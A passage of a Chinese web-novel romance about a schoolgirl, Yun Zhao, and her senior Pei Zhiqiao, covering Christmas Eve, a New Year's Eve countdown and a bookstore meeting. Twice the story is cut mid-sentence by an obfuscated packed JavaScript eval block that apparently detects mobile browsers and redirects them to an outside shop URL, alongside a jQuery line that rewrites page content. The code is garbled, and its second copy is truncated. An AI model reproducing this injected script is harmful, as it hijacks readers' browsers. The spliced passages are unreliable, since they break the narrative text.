方程有点复杂,裴至峤在草稿纸上专心演算,办公室一时寂静。 云昭本在看裴至峤的演算过程,头凑得更近些,鼻尖萦绕的香味也更浓些。他的味道像催眠剂,让云昭的无法控制分心,渐渐看不进去题目,只能看见裴至峤。 他们之间离得太近了,云昭稍微一动就会碰到裴至峤的手臂,超过了安全的社交距离,就会自然的滋生出暧昧感觉。 云昭感受到自己比刚才更快的心跳。 裴至峤演算速度很快,写好结果的草稿纸推到云昭面前。裴至峤一点一点解释,却再没听到云昭回应的声音。 他叫了她一声:“云昭?” “嗯?怎么了学长?” 过速的心跳暂停一瞬,云昭猛然回头看向裴至峤,裴至峤毫无预兆的撞进圆润的眼睛里。 这场对视没超过三秒,裴至峤不自然轻咳一声,开始“问罪”:“刚刚走神了?” 云昭“嗯”一声,和他道歉:“对不起学长。” 小鹿似的眼睛垂下,没谁能生得起气。 裴至峤用笔头点了点云昭的额头,“要专心听讲啊云昭同学。” 他戳得不重,言语之间也不是严师的指责,而是一种近乎调侃、甚至宠溺的语气。 想法出现在脑海的一瞬,云昭觉得自己今晚激动过头,产生错觉了。 她连忙回:“我会好好听的。” 耽搁这一会儿,前面讲到哪里都快忘了,还好裴至峤有耐心,从头开始捋,又讲了一遍。 “听懂了吗?” 云昭用力点头:“听懂了,谢谢学长。” 她不敢麻烦裴至峤再讲第三遍,基本理清思路后,她回头自己再算一遍就好。 “麻烦学长了,我先走了。” 因为刚才走神的尴尬,云昭没有在办公室多留的打算。 她刚迈出去,又被裴至峤叫住:“草稿纸给你,上面有演算过程。” 写满裴至峤笔迹的草稿夹在试卷里,云昭匆匆逃离。纤瘦的背影在裴至峤眼里久久不散,回想起她刚才点头如捣蒜的模样,裴至峤愣神良久。 云昭从后门回班,在座位上重新计算。算到一半,她在一个步骤上卡住,即使看了裴至峤的过程也还有点不明白,只好问旁边的关栩宁。 “这个地方是怎么演变的啊?我怎么感觉少了一步?” 关栩宁拿起草稿细看:“用这个公式可以省略一步,葛大爷带竞赛班的时候就喜欢这么写,他给你讲的时候忘了你不知道吧。” 她把省略的一步在旁边补充完整,又觉得不对:“这是葛大爷给你写的吗?怎么感觉不像他的字?” 这手笔锋犀利、结构工整的字和葛文斌的“狂放不羁”完全没关系,怎么看怎么不对。 云昭只好小声解释:“葛大爷去开会了,这是……裴至峤写的……” 云昭声音越来越小,似乎“裴至峤”这几个字比火锅还烫嘴。 关栩宁没心思打趣云昭的少女心事,只说:“他以前也在葛大爷的竞赛班,可能写习惯了没改过来。” 裴至峤数学很好,几乎次次满分,虽然是文科生,但上学期拿过奥赛银牌。老师们都觉得他要是理科生,去集训队后努努力就能保送,但他偏偏选择学文。 在几乎所有老师都默认文科是学不好理科的学生才去学的应试环境下,他告诉所有人不是这样的,想学什么就学什么。 云昭算完最后一道压轴题,正好放学。十分钟的等待里,她向窗外看去,发现今天月亮很圆,月色很美。 相隔一年的同一个问题的选择上,云昭冥冥中做出和裴至峤一样的选择。即使她理化分数不低,却依旧选了更喜欢的文科。 这像是一种命中注定的宿命。 17. 钟声 「今夜注定是特别的一夜,鞭炮齐鸣,烟花漫天,中心广场的钟声敲响,世界迎来新的一年。我想,新的一年一定是很好的一年。我仓促间后退到他怀里,却意外听到他跟我说第一声新年快乐。」——@福音书与祷告文 日历又撕下一页,转眼十二月。淮川极速降温,秋天还没多久,冬天就来了。 新一周的升旗仪式上,云昭穿了厚外套,站在离主席台最近的地方看裴至峤演讲,从他手中接下麦克风上台。 期中考试的成绩贴在光荣榜,云昭如愿拿到第一,与裴至峤的名字并列,获得和他一起在国旗下讲话的机会。 这一次,云昭不像前两回紧张到无所适从,屡屡在裴至峤面前出糗。她虽有兴奋,却不再慌乱,笑着接那支存有余温话筒,步履平稳的走着。 云昭刚才站的位置被裴至峤填满,裴至峤在台下听云昭越过话筒后失真的音色,带着电流,击穿他的心。 他眸光熠熠,他兵荒马乱。 他意识到一些无法言喻的情愫缓慢生长。 大课间结束,云昭接水回来,班里吵吵嚷嚷,一点不见考砸的难过和期末的紧迫,全集中在将要来临的“双旦”。 虞岁感叹:“要是平安夜在周末就好了,偏偏那天周三,上完英语晚自习哪还有心情过圣诞?” 云昭打趣她:“你还有心情过圣诞,武老师没叫你去办公室挨训?” “昭昭!”虞岁怒气冲天:“你不能因为自己逃过一劫就抛弃我!还是不是好朋友了?” “是是是,当然是!那你想怎么过?” “没想好,到时候再说吧。” 虞岁向来是走一步看一步,骤然让她做几周之后的安排真是为难她,就算安排好了也不会照做,只能到时候再说。 上课铃响起,班里恢复表面的平静,关于节日的讨论却没停止。 云昭翻开桌上的小日历,平安夜那天标红,的确如虞岁说的在周三,很不巧。但她觉得没什么不好,虽然不放假,可在学校里,她能看见他,或许他们还会有互送苹果的机会,就是不知道裴至峤会不会有这样的仪式感。 公立校一律不提倡过西方节日,以至平安夜都计划还没定,元旦的通知先到。 元旦庆典是一中传统,有时是在礼堂,全校一起看演出,也有两年是各班自己策划,一下午时间想怎么办都行。 据文娱委员可靠情报,今年是班里自己安排。 刚有风声传出,班里又炸了锅,各种提议涌现。追星的几个女生说要跳女团舞,平时外向当捧哏的几个说要演小品,虞岁也绞尽脑汁的要凑热闹。 “昭昭,我们一起弹唱怎么样?你会弹钢琴,我可以弹吉他。” 云昭歪头问她:“你想唱什么呀?” 虞岁喜欢周杰伦,选来选去无非那几首。 “《晴天》怎么样?你之前弹过这首的。” 云昭确实弹过,但那好像是初中的事。不过谱子在家里,练两遍应该问题不大。 “好啊,那我把电子琴带来。” 刚商量好,英语课代表就叫虞岁去办公室,去武滢那儿背课文。 期中考试之后,几个英语考得不好的同学全被要求下课去办公室背课文,武滢单独给他们开小灶辅导。这种日子一直持续到期末,让虞岁的平安夜计划彻底破灭。 24号那天下午,整个校园按捺不住的躁动,有人悄悄戴圣诞帽,苹果形状的红色贺卡四处传递。 虞岁说文具店和小超市的老板赚翻了,平时放那儿都没人要的苹果今天卖出天价,她手上的三个居然要二十块,结账时她可肉疼。 虞岁分给云昭一个苹果:“昭昭,平安夜快乐!” 云昭笑着,抓一把苹果形状的糖放在虞岁桌上:“平安夜快乐!” 苹果糖是黎梦秋做的,这几天在甜品店卖爆,好看又好吃。蛋糕之类的甜品易碎,云昭不方便带到学校,于是拿了一大盒糖果。 分给虞岁一把,云昭分给其他同学一些,又特地留了一把给关栩宁。剩下的苹果糖撑过一个晚自习,居然只剩三颗。 装糖果的盒子扔在垃圾桶,云昭把最后的糖揣进衣兜,关灯锁门,出了教室。 期待已久的平安夜似乎就这样草草收场,中心广场的方向还在喧嚣,一中的校园里只剩下寂寥。有人在放学后要去更热闹的街道感受圣诞氛围,云昭在教室多留十分钟为的是和裴至峤碰见的机会。 熟悉的楼梯口,裴至峤说:“好巧。” 云昭揣在衣兜的手一下攥紧了糖果,“裴学长,好巧。” 他们同往常一样并肩走着,楼梯不长,两人各怀心事,却又不敢轻举妄动,所以走得很慢。裴至峤手里拿着一个苹果,云昭猜是别人送给他的。 走到楼下,僵硬的气氛才缓解,裴至峤说:“平安夜怎么还学到这么晚?没和朋友去玩儿吗?” 高三有好多人去中心广场看那棵巨大圣诞树,梁斯年和司佳恩一早就不知道去哪了,裴至峤以为云昭也去了,一直在想能不能遇见她。 云昭不好意思说是刻意等他,含糊的说:“太冷啦我就没去。” 今天确实冷,天气预报的气温显示个位数,云昭不算撒谎。 香樟在萧瑟的风中挺立,云昭将衣服的拉链往上拉一点,挡住小半张脸,好像在表达:你看,天气的确好冷。 可爱的人做什么都是可爱的,就算云昭缩成一团也让裴至峤觉得,好可爱。他的手突然不听自己使唤,红彤彤的苹果递出去,递到云昭面前。 裴至峤说:“云昭,平安夜快乐。” 即使天公不作美,赐了一场降温,裴至峤依旧祝云昭快乐。 云昭没想到苹果是送给她的,没立刻接,傻乎乎问了句:“学长你不吃吗?” “我不爱吃苹果。梁斯年买了两大箱,他硬塞给我好几个,不如送给你。” 不爱吃苹果是真的,梁斯年买了两大箱苹果也是真的,但手里这颗是裴至峤自己买的,他挑了好久的、最完美的红苹果。 还好,云昭收下了,顺便在他手心放了三颗糖。 “也祝你平安夜快乐。” 她还贴心解释:“这个糖虽然看起来是苹果形状,其实是樱桃草莓味的。” 他不用担心吃到不喜欢的苹果味,却真实的收到了她送的平安。 裴至峤这时候才知道,苹果糖可以是樱桃草莓味的,很甜、很好吃。 云昭捧着这颗红苹果回家,空间动态里好多人在发平安夜的照片,她给虞岁点完赞,自己也发了一条。 苹果摆在书桌上,背景是窗外摇动的海棠枝条。 Wolke: 「今夜,宇宙坍缩成一颗苹果。」 图片.jpg 他给她的是一颗苹果,亦是一整个宇宙。 周末,云昭和虞岁合了一遍《晴天》,跨年的气氛从这时开始浓烈。 中心广场在圣诞的基础上又添装饰,商场外的大屏循环播放着明星应援,顶楼的大钟擦得锃光瓦亮,无数人等待新年的钟声敲响。 云昭和虞岁练完歌,在附近的时代天街逛集合店。店里摆着各种与新年相关的饰品,虞岁挨个试过去,在想跨年那天要穿什么。 “昭昭,这个好适合你!” 带着鹿角的红色发箍被虞岁戴到云昭头上,“到时候你再扎个麻花辫,肯定特别好看!” 她没想好自己穿什么,倒把云昭的穿搭想好了。镜子前的云昭也觉得小鹿发箍确实好看,她肯定虞岁的提议,决定跨年那天就这样穿。 冬至已过,淮川最冷的时节来临。到了31号,气温又降,虞岁原想的穿搭太美丽冻人,不得不改变装束,和云昭一起穿了厚厚的毛衣上台唱歌。 云昭穿的是一件有小鹿图案的红色针织毛衣,搭一件灰色半身裙,脚上是一双小皮靴。她围着一条卡其色围巾,仰头让虞岁帮她涂口红。她们都化了淡妆,虞岁特地带了CCD和拍立得,准备拍几张照片。 文科班弥漫着一股脂粉气,窗上门上全贴上红色装饰,学生们无心上课,武滢说了好几次都不管用。眼看时间越来越近,索性由着他们去了。 午休时,云昭和虞岁帮生活委员拿零食,虞岁边看手机边走路。 “昭昭,中心广场今晚有烟花秀,我们一起去看吧!” 某书上主办方发了烟花预告,虞岁心动得不得了,她说:“反正妆都化了,不去的话多可惜!” 云昭问:“年年都去中心广场,你没腻呀?” 中心广场的敲钟和大屏,她们不知道看过多少次。每次都说人太多连车都打不到,下回一定不来了,但每个下回又忍不住去凑热闹。 虞岁狡辩:“以前没有烟花,今年不一样嘛!” 好吧好吧,云昭妥协,同意了虞岁那句“反正妆都化了”,决定一起去中心广场看烟花。 分完零食,云昭把电子琴摆好,虞岁也在给吉他调音。她们的节目在最后几个,前面空出的一大段时间里,云昭心思一半在琴谱,一半在裴至峤。 今年的最后一天了,但今天她还没见过裴至峤。 今早云昭站在衣柜前纠结好久,穿了漂亮的衣服,化了好看的妆,只是想今天能不能和他见上一面,就像平安夜那天一样。 可今天没有这个机会。 云昭失落,虞岁笑得狡黠。 “好多人去隔壁班看裴至峤,你要不要也去?” “他有表演吗?” “应该没有吧,有的话表白墙早就发出来了。” 他没有表演,云昭想,莫名其妙的去他们班是不是太刻意。 “还是不去了吧,这样显得好奇怪。” 她依旧不想让别人注意、发现这场暗恋。 “拜托,这可是今年最后一次见他的机会,你真不去?” 虞岁拉云昭出门:“那你陪我去办公室拿英语卷子。” 武滢的办公室紧挨着高三文一,办公室前门和他们班后门相邻,云昭可以站在门外悄悄找寻裴至峤的身影。她还没反应过来,虞岁就已经将她带到门口。 云昭觉得刚刚虞岁的话太夸张,文一班并没有很多人聚集,整间教室一览无余。眼睛扫过一圈,云昭才明白为什么人不多。 因为裴至峤不在。 他不在教室,云昭不知道他去了哪里。 刚刚她都已经想好,如果能恰好碰见他,她可以跟他说一声新年快乐,他应该会回她一句新年快乐。 云昭觉得没有什么祝福比他亲口说的新年快乐更好。 可惜,她没碰见他。 虞岁哭丧着脸出来,向云昭控诉武滢给她加的作业,又问她看到裴至峤了吗? “没有,他不在教室。” 虞岁想说什么,云昭挽着她快步走:“快回班了,马上到我们的节目了。” 回班的时机很巧,恰好是她们的节目。云昭按下琴键,清脆的琴声和暗哑的吉他声交织在一起。主歌部分音很低,云昭把声音沉下去,心也沉下去。 说不失落那是假的,这是裴至峤高中时代最后一次跨年,云昭没送出她的新年快乐,也没收到裴至峤的新年快乐。 也许以后不会再有机会。 副歌引起合唱,云昭低头,琴键上的手指跳得越来越快,没注意到她的视线死角里站了个人。 裴至峤是什么时候站在这里的,是那句“为你翘课那一天”开始的时候。 他突然就想起运动会时翘掉的那两节课。 他在高二文一的门外,看见云昭头上的鹿角,她整个人红彤彤的,像小鹿。琴音清脆,她刻意压低的声调被裴至峤听出,目光落在她飞舞的指尖上。 原来她也会弹琴。 歌不长,裴至峤就在那里,想把整首都听完。 间奏过后,回到最开始的那一句,只剩云昭的声音。 「为你翘课的那一天 花落的那一天 教室的那一间 ……」 “阿裴,你拿到东西没?大家等你呢。” 第二段副歌前,梁斯年的声音掐断裴至峤耳中云昭的声音。 梁斯年从高三那边过来,一把拍在裴至峤肩上:“你看什么呢,怎么还不过来?” 裴至峤收回落在云昭身上的目光。 “东西在这儿,下回自己去拿。” 要不是刚才划拳输了,裴至峤才不替梁斯年跑腿,如果知道会错过云昭来找他,他一定不会离开教室。 梁斯年满不在乎裴至峤的数落,夺了道具,硬要拉裴至峤去他们班玩。 严冬里天色早早变暗,云昭和虞岁等了许久,终于吃上了广场附近一家很火的漂亮饭。一边吃饭一边慢吞吞的拍照,真正到大屏前已经十点。 云昭手里拿着一串草莓糖葫芦,虞岁特地给她买来拍照。刚才吃太多,这串糖葫芦云昭一口没动,真成了道具摆设。 拍立得相纸不多,大部分照片用的CCD,这台相机滤镜特别好看,在大屏色彩映衬下,每一张都可以当宣传照。 “果然,长得美怎么拍都美。” 虞岁一句话把云昭说得心花怒放,旧年的遗憾全部被冲散,只剩对新年的期许。 云昭拿着CCD审图,虞岁看见不远处有卖气球的,把相机和包全交给云昭,说要去买两只气球回来接着拍,拍完后零点可以把气球放飞许愿。 云昭叮嘱:“人太多了,你去的时候小心点。” “没事,我很快就回来了,你慢慢看照片吧。” 云昭应好,拿着相机找角度,心里在构想待会儿怎么给虞岁拍。大屏和时钟之间有个夹角,是绝佳取景框,她想一定要在这儿拍张合照。 秒针走了好几圈,时间过去几分钟,虞岁还没回来,云昭抬头四处寻找。 此时临近零点,中心广场人越来越多,身边掠过无数来跨年的人,放眼望去只能看到黑压压一片脑袋。 云昭没找到虞岁。 165的身高看不到远处,高个子的人包围着她的视线。旁边有隔绝车辆进入广场的石墩,云昭踩在上面往前看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269283|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是没看见虞岁。 云昭有点担心虞岁会不会出事,前几年隔壁市跨年夜就出过事故,新闻里写得很吓人。眼看没两分钟就到零点,云昭从石墩上下来,站在路边给虞岁发消息。 她站在大屏与时钟的交叉口,一对带小孩的父母要从这里过去,云昭下意识后退让他们先走。 一退,退进了别人怀里。 云昭仓促的转头,想跟被撞的人道歉。 零点钟声恰好在这时敲响。 熟悉的温润音色比云昭道歉先出口:“是你啊云昭。” “裴至峤……” 偏偏就这么巧,云昭撞上的是裴至峤。这刻的开心和惊喜无法形容,让云昭说不出任何,傻傻的站在那里看着他。 跨年的钟声敲十二下,伴随着沉闷钟声进入耳朵的,是裴至峤说:“新年快乐,云昭。” 周围有太多新年快乐的声音,却只有裴至峤的这一声落到云昭心里。 新年的第一分钟,云昭听到的第一声新年快乐来自裴至峤。几秒之前她还正懊悔,自己不小心撞了人,几秒之后她却意外听到这声她原以为没机会听到的新年祝福。 “新年快乐,裴至峤。” 云昭声音打颤,或许是因为天气太冷。 钟声响完,烟花秀登场,整个淮川被照成斑斓的一片。 云昭仰头望天,觉得今夜注定是特别的一夜,她心里鞭炮齐鸣,烟花漫天,钟声带来新的一年,也带来他。 “昭昭!” “阿裴!” 两道声音同时响起。 虞岁手里拿着两只气球匆匆赶来。 “买气球的人太多了,我等了好久才买到,给你一个。” 粉色那只氢气球被系在云昭手腕。 梁斯年没虞岁的好声好气,似是不耐烦:“阿裴,你还要看热闹到什么时候,我快饿死了,能不能找个地方先吃饭!” 裴至峤制止未果,梁斯年的话全进了云昭耳朵。 云昭惊讶:“你们没吃晚饭吗?” 裴至峤解释:“餐厅人太多了,还没排到我们就来看烟花了。” 云昭想到自己那顿等了两个小时才吃上的晚饭,狠狠点头赞同他。 但一直饿着不是办法。 云昭把手里的糖葫芦送出去:“那你要不要吃糖葫芦,我没吃过。” 云昭问的是裴至峤,裴至峤还没说话,梁斯年先想伸手接。他早就注意到云昭了,准确来说是注意到云昭手上的糖葫芦。 裴至峤这回拦下来了。 他小声问梁斯年:“抢人家的糖葫芦吃,你要不要脸?” “大哥,我饿死了!要不是你非要来这个破广场看烟花,我现在应该吃饱喝足的躺在两米大床上,而不是又冷又饿的在这儿计较一串糖葫芦!” 梁斯年要气死了:“我不管,你待会儿必须请我吃顿好的!” “行,我请就我请,你别抢别人东西。” 云昭看不懂他们在打什么哑谜,只知道裴至峤最后把糖葫芦推回来,对她说:“你吃吧。” 烟花秀持续半小时,所有人都在拍照。云昭和虞岁那张在烟花下的拍立得是裴至峤帮忙拍的,构图很好看,虞岁直说没想到他还有这天赋。 “相遇就是缘分,要不我们一起拍一张吧?” 虞岁的提议让云昭一下紧张起来,她说不清她想要他答应还是拒绝。她只好悄悄看向虞岁,好像在问她为什么要说出这个提议。 “好啊,那一起拍吧。” 谁也没想到,他出乎意料的好说话的答应了。 虞岁让云昭站中间,梁斯年眼睛一转,像是明白了什么,自觉的走到边上,让裴至峤挨着云昭站。 他们有小半个身位重叠,云昭的右肩靠着裴至峤的左胸,让她按着快门键的左手食指一直在抖。 烟花结束前,他们拍下了一张合照,背景是云昭看好的绝佳取景框。 人流渐渐散去,中心广场不再拥挤,时针走到一点,他们跨完了年准备回去。 这个点,公共交通早就停运,云昭和虞岁家离得近,坐同一辆出租回去。裴至峤和梁斯年跟她们不顺路,上了另一辆车。 车门隔绝了所有声音,云昭立刻找虞岁拿相机要导图片。虞岁找出相机给她,开始八卦她离开的时候发生了什么,裴至峤怎么突然出现?刚刚当着裴至峤的面虞岁不好意思直问,只能等到现在可劲打听。 云昭说完这个意外的过程,虞岁感叹一句。 “太戏剧性了吧。” 确实像戏剧,每一次的转折都在云昭的意料之外,却又完美的符合她的期待。 车辆驶离中心广场,裴至峤问梁斯年要吃什么。 “海鲜!最贵的那种!” 裴至峤觉得梁斯年脑子不正常:“大冬天的你要吃海鲜?” “你付钱就行了,管我吃什么!” 梁斯年跟司机报了一家餐厅的名字。 解决完吃的,梁斯年开始兴师问罪:“你平时都不爱这种凑热闹的活动,今天为什么非得来中心广场?” “阿裴,你是不是……” 话到一半就被裴至峤打断:“吃你的海鲜吧,还堵不上你的嘴。” “不说就不说呗,要不是司佳恩有考试,我才不跟你去中心广场挨冻。” 吃完饭出去,跨年夜的街道并不冷寂,门口站着买糖葫芦的小贩,让裴至峤想起云昭手里那串糖葫芦。 他为什么非得去中心广场? 因为午休时,他意外听见云昭和虞岁商量,她们要去看烟花。 他心里有只小鹿在跳。 云昭回家时,黎梦秋和云景志都没睡,特地等她回来。 黎梦秋问:“和小鱼玩得开心吗?” 云昭说:“开心。” 这是她觉得最开心的跨年夜。 空间动态里全是跨年的九宫格照片,云昭对着手机相册挑挑选选,最后只发了一张。 Wolke: 「我想,新的一年一定是很好的一年。」 图片.jpg 虞岁是第一个给云昭点赞的,随后她发来消息。 小鱼吃虾米:「为什么不发有裴至峤的那张照片?」 云昭想了想,回复虞岁。 Wolke:「因为这种照片只能珍藏,不能发给别人看。」 云昭发的是和虞岁在烟花下的照片,有裴至峤的那张合照被她珍藏在相册里,只有她一个人看得见。 CCD自带滤镜,突出人的面部折叠度。照片上的裴至峤五官立体,眼眸深邃,照片上的云昭扎着侧麻花辫,带着可爱的小鹿发箍,笑着倚靠着裴至峤,似乎很亲密。 云昭庆幸,中午答应了虞岁去看烟花,她也庆幸,自己今天好好打扮了,从发型到穿搭都认真准备,脸上的妆也保持完美。 她以最好的姿态出现在裴至峤面前。 照片的中间部分被截下,云昭单独保存了一份之有她和裴至峤的照片。 以此纪念新的一年。 18. 答案 「新的春天里,从前的一些痕迹模糊、消散,另一些故事悄然开始。木质书架前、操场阳光下,我一次又一次聆听到理想的声音,那是他要去追寻的未来的答案。那个答案闪着光,照亮他,也在照亮我。」——@福音书与祷告文 这一年,对高中生来说第一件大事是期末考。高三是八省联考,高二是淮川市内六校联考。 期末极快的学习进度让元旦假期后的时间变得紧张,云昭不再有多余的心力放在裴至峤身上,更多的注意力放在了越来越难的数学题。 一月中,高三还在补习,高二期末考却已经结束。 云昭自认发挥不错,和关栩宁对了数学答案,拿前三没什么问题。虞岁经过武滢一个多月的魔鬼训练,英语总算没再拖她的后腿,考完脸上挂着笑。 寒假作业被各科课代表发下来,一沓试卷放进书包,假期正式开启。 云昭的寒假生活很简单,甚至有点无聊。作业分门别类的规划好时间,按部就班的进行,得空会看看德语原著,或者写两篇作文练练笔,准备下学期的国赛。 假期里,云昭没什么能见到裴至峤的机会,她的微博因此很久没有更新。跨年夜的照片成了与裴至峤最后一次接触,她偶尔会看着日历上的时间,心里盘算高三应该还在补课。 临近除夕,外地实习的堂姐回淮川,云昭多了些出门的机会。好几次路过中心广场,云昭脑海里都是与他有关的记忆。 春节热热闹闹过到初七,云昭跟随父母上门给亲戚拜年。 云昭这一辈人不多,一个堂哥一个堂姐,黎梦莹一直没结婚生小孩,所以云昭没什么表亲。云家人少,云昭又是年纪最小的,爷爷奶奶伯伯婶婶都喜欢她,每次上门都有厚厚的红包拿。一个春节,别的什么没得到,云昭的小金库充实不少。 初八,离开学还剩一个星期。对作业毫无规划的虞岁终于想起要开学,得交作业了,紧急把云昭摇出来陪她一起赶寒假作业。 她们约在市图书馆。虞岁一半做一半抄,紧赶慢赶,终于在开学前一天写完所有作业。云昭也终于写好国赛要交的稿子,准备开学以后拿给丁菡批阅。 云昭问:“要不要去楼下书店逛逛,我想买两本参考书。” 虞岁摆摆手,毫无精力:“我感觉我已经被作业吸干精气了,急需回家休养,下次有机会我再陪你逛吧。” 虞岁连赶六天作业,已经要到崩溃的极限。云昭不勉强她,自己一个人去书店。 买完参考书,云昭去外语区帮云景志买德语专业书,准备结账时路过放法律书籍的架子。 她停了脚步。 前几天写作文时,她又看了一遍裴至峤那篇获奖作文,想起当时他在楼道里说喜欢《刑法学讲义》那本书。 迟来的好奇心在这时被激起。 云昭在架子上寻找那本书的身影,走过两个书架,她在尽头看见那个名字。 她的手放在书上的一瞬,另一只手恰好也放了上来。 来自另一个人的体温让云昭心泛涟漪,她忽的产生一种神奇的预感。两人放手的同时目光撞在一起,云昭的预感有了应验,抱着书的那只手上,手表发出心律失常的警告。 下午四点,太阳西斜,今天正好是雨水节气,初春的阳光并不温暖,从窗户照进来,照到木质书架上,照进云昭那双盛着裴至峤的眼睛里。 “没想到在这儿遇到你了,云昭。” 依旧是裴至峤先开口打破停滞的气氛。 云昭应下这声打招呼,问:“裴学长也来买书?” 裴至峤解释:“路过这里,帮我妈妈带本书回去。” 裴宛因在淮川大学法学院带刑法相关课程,裴至峤帮她带两本刑法相关的书回去备课。 话题由此展开,裴至峤问:“你来这个区找书是对法律感兴趣吗?” 云昭不确定自己真的对法律有兴趣,只是因为他提过,所以她放在心上。 她没直接回答问题,反问裴至峤:“裴学长对法律很感兴趣吗?” 问出口后,云昭觉得这或许有点冒昧。但裴至峤好像没觉得这是一种冒昧。 他说:“我的确对法律很有兴趣,如果可以,我希望自己可以考进法律专业,成为一名律师。” 像他妈妈那样。 除他妈妈外,这是裴至峤第一次向别人提起他的未来计划,他如实告诉云昭,他想考进淮川大学法学院,他想做律师。 裴至峤觉得,这算是一个不会轻易向普通人提起、讨论的问题,是一个对于目前他与云昭的关系来说,有些越界的话题。 可他接受她的越界,甚至期待她这份越界。 云昭很意外能获得裴至峤的回答,脑子一下短路,不知道说什么,于是沉默了好久。 最后她说:“那希望你得偿所愿,成为一个特别厉害的律师。” 她说得诚挚,是在祝福他,也相信他一定会成为很厉害的人。 云昭想起他们初见那天,他在病房里那些言语始终震撼着、影响着她。她心里,法律是维护公平与正义的手段,而裴至峤始终具有这样的责任心。 裴至峤听完云昭说的,轻轻笑着。 这时的云昭不知道,甚至裴至峤也糊涂着。他想要的不仅是成为优秀的律师,他还想要更多,关于云昭的更多。 “那你呢云昭,你以后想做什么?” 今天,他们第一次谈论关于理想与未来的话题,但很遗憾,云昭对这个问题没有答案。云昭没有裴至峤那样明确的目标,也不知道自己能做成什么。 她有着大多数未经世事学生的迷茫。 裴至峤说:“未来很长,总有一天会找到你愿意为之努力的方向。” 还有一句他没说:如果她的方向里有他的一席之地就好了。 话题就此收场,短暂的际会结束。 裴至峤替裴宛因买了书,云昭把那本《刑法学讲义》带回了家。 周一开学,班里闹哄哄一片,课代表忙着收作业,却敌不过更多人忙着赶作业。云昭艰难的收齐语文作业,并附上参赛文章,一起放到丁菡的办公桌。 班里男生全去图书室搬新教材,清洁委员组织值日小组打扫教室。开学第一天,每次都是忙忙碌碌鸡飞狗跳的过去。 食堂开了新窗口,云昭和虞岁相约去尝鲜。煲仔饭的排骨很好吃,一跃成为她们心中排名第一的窗口。 回教室路上经过宣传栏,那张刊着云昭和裴至峤的海报经过一学期氧化,褪色成很淡的粉。新的宣传页覆盖在上面,刊登着一中艺考生取得的优秀成绩。 云昭看见了韩萧雨的名字,她拿了好几所戏剧学院表演系很靠前的名次。 时隔许久,这个名字再次出现在云昭的视线里,她依然会想起那天,在那个阳光照不到的楼梯角落。 那天,云昭羡慕韩萧雨的勇敢;今天云昭欣赏韩萧雨的优秀。 回顾起在书店的下午,她迷茫又懵懂了回答了关于未来的话题,才发现有一个清晰目标是一件多难的事。 他们都有想要为之努力的未来,裴至峤想做律师,韩萧雨要去演戏,司佳恩拿了传媒大学校考第一,梁斯年刚上线了一个程序。 云昭想,那自己呢? 每个人都在往前走,那她要往哪里走? 云昭从来没有思考过这个问题,也从来不用思考这个问题。父母给了她优渥的物质条件,在一直顺风顺水的人生里,没有发生过什么足以影响她、改变她一生路径的大事。 如果硬要说,喜欢裴至峤算一件。 新的春天里,从前的一些痕迹模糊、消散,另一些故事悄然开始。 云昭清楚知道,不会有人停在原地。这里不是人生的终点,他们终会走到更广阔的地方去。 如果,更广阔的地方有裴至峤在就好了。云昭想。 下午的自习课,云昭第一次翻开那本刚拆掉塑封的《刑法学讲义》。她开始试着了解,这个有他存在的未来世界会是什么样。 生活按部就班的进行,云昭在为越来越难的数学题头疼,虞岁面对生词一大片的英语阅读抓耳挠腮,连关栩宁也对各种摸不透的材料分析题叹气。 三十米开外的高三文一,裴至峤写完了那张目标院校的便利贴,心里那只来自跨年夜的小鹿还在跳个不停。 三月初,淮川一中高三年级百日誓师大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个闪着光的答案似乎不止照亮了裴至峤,也照亮着云昭。 第四节课上课时,誓师大会才结束。高三的学生一窝蜂冲入小超市买饮料,刚才一直喊各种激情口号简直把人累够呛。 梁斯年在冰柜前,问裴至峤想喝什么。 司佳恩先插一嘴:“我要和那个樱桃草莓味的新饮料。” “还喝呢,你老师没说你?” “校考都结束了,你管我呢!赶快付钱!” 两人随时随地拌嘴,梁斯年受不住司佳恩的淫威,帮她拿了饮料,转头又问了一遍裴至峤。 裴至峤说:“我也要那个。” “哪个?” 他顿了顿,说:“樱桃草莓味的那个。” 小卖部刚上新的饮料,因为没几个人买,摆在了最角落的地方。司佳恩提起后裴至峤才注意到。 “樱桃草莓”这个词像被动技能,让裴至峤不自觉的想到云昭。 梁斯年鄙夷的看着他:“你怎么爱喝这些女孩子喜欢的小甜水?草莓味简直是世界上最难喝的味道。” 司佳恩听到这话炸了锅:“你说什么!” 她最喜欢草莓味,梁斯年居然说难喝,是可忍孰不可忍。 裴至峤没管他俩,自己去冰柜前拿了水。讲真,他是第一次喝樱桃草莓味的饮料,如果没有那天云昭给他的糖果,他可能永远都不会尝试这个味道。 梁斯年去买单,司佳恩等不及,拧开新口味的饮料尝了一口。 “呸,怎么这么难喝!” 她差点一口吐出来。 裴至峤看着她夸张的反应不解:“很难喝吗?” 司佳恩说真的很难喝,让裴至峤自己尝。 裴至峤拧开瓶子喝了一口,眉头皱起。 确实难喝,有一股廉价的香精味。 司佳恩在一旁吐槽,这东西居然卖八块,不仅难喝还贵。 裴至峤没说话,只是不再打开瓶子。 他以为所有樱桃草莓味的东西都和云昭给他的糖一样好吃。 原来不是。 19. 身影 「离别的滋味似乎来得格外快,席卷我全部感官。日子好像没什么特别,却又感觉完全变了。晚自习下课后再也找不到他的身影,我只能在升旗仪式的讲话上不断偷瞄他含笑的眼睛。」——@福音书与祷告文 梁斯年对着司佳恩幸灾乐祸,又说了一遍草莓味是最难喝的味道,被司佳恩就地正法,逼他喝了一整瓶饮料。 